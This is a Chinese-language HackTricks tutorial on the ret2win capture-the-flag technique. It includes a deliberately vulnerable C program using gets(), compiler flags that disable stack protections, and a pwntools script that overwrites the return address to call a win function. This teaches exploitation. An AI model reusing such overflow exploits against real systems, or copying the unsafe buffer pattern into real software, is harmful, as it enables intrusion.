hacktricks/binary-exploitation/stack-overflow/ret2win/README.md

8.6 KiB
Raw Blame History

Ret2win

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

基本信息

Ret2win 挑战是 Capture The Flag (CTF) 竞赛中的一个热门类别,特别是在涉及 二进制利用 的任务中。目标是利用给定二进制文件中的漏洞,执行一个特定的、未被调用的函数,通常命名为 winflag 等。当这个函数被执行时,通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的 返回地址,以将执行流转向所需的函数。以下是更详细的解释和示例:

C 示例

考虑一个简单的 C 程序,其中存在一个漏洞和一个我们打算调用的 win 函数:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

要在没有栈保护和禁用ASLR的情况下编译此程序,可以使用以下命令:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: 将程序编译为32位二进制文件这不是必需的但在CTF挑战中很常见
  • -fno-stack-protector: 禁用对栈溢出的保护。
  • -z execstack: 允许在栈上执行代码。
  • -no-pie: 禁用位置无关可执行文件,以确保win函数的地址不变。
  • -o vulnerable: 将输出文件命名为vulnerable

使用Pwntools的Python利用

对于利用,我们将使用pwntools这是一个强大的CTF框架用于编写利用脚本。利用脚本将创建一个有效载荷以溢出缓冲区并用win函数的地址覆盖返回地址。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

要找到 win 函数的地址,您可以使用 gdbobjdump 或任何其他允许您检查二进制文件的工具。例如,使用 objdump,您可以使用:

objdump -d vulnerable | grep win

该命令将显示 win 函数的汇编代码,包括其起始地址。

Python 脚本发送一个精心构造的消息,当 vulnerable_function 处理时,会溢出缓冲区并用 win 的地址覆盖栈上的返回地址。当 vulnerable_function 返回时,它不会返回到 main 或退出,而是跳转到 win,并打印消息。

保护措施

  • PIE 应禁用,以确保地址在执行之间是可靠的,否则函数存储的地址可能并不总是相同,您需要一些 leak 来确定 win 函数加载的位置。在某些情况下,当导致溢出的函数是 read 或类似函数时,您可以进行 部分覆盖 1 或 2 字节,以将返回地址更改为 win 函数。由于 ASLR 的工作方式,最后三个十六进制半字节不会随机化,因此有 1/16 的机会1 个半字节)获得正确的返回地址。
  • 栈金丝雀 也应禁用,否则被破坏的 EIP 返回地址将永远不会被跟随。

其他示例与参考

ARM64 示例

{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}